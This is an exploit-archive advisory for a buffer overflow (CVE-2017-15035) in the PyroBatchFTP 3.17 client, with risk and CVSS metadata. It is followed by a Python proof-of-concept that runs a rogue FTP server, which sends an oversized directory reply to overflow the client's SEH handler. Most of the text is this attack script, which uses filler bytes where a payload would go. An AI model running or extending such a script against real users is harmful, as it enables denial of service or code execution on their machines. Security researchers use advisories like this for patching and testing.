PyroBatchFTP 3.17 Buffer Overflow

2017.10.09
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

#!/usr/bin/python print "PyroBatchFTP Local Buffer Overflow (SEH) Server" #Author: Kevin McGuigan @_h3xagram #Author Website: https://www.7elements.co.uk #Vendor Website: https://www.emtech.com #Date: 07/10/2017 #Version: 3.17 #Tested on: Windows 7 32-bit #CVE: CVE-2017-15035 import socket import sys buffer="A" * 2292 + "B" * 4 + "C" * 4 + "D" * 800 port = 21 try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", port)) s.listen(5) print("[+] FTP server started on port: "+str(port)+"\r\n") except: print("[+] Failed to bind the server to port: "+str(port)+"\r\n") while True: conn, addr = s.accept() conn.send('220 Welcome to PyoBatchFTP Overflow!\r\n') print(conn.recv(1024)) conn.send("331 OK\r\n") print(conn.recv(1024)) conn.send('230 OK\r\n') print(conn.recv(1024)) conn.send('220 "'+buffer+'" is current directory\r\n')


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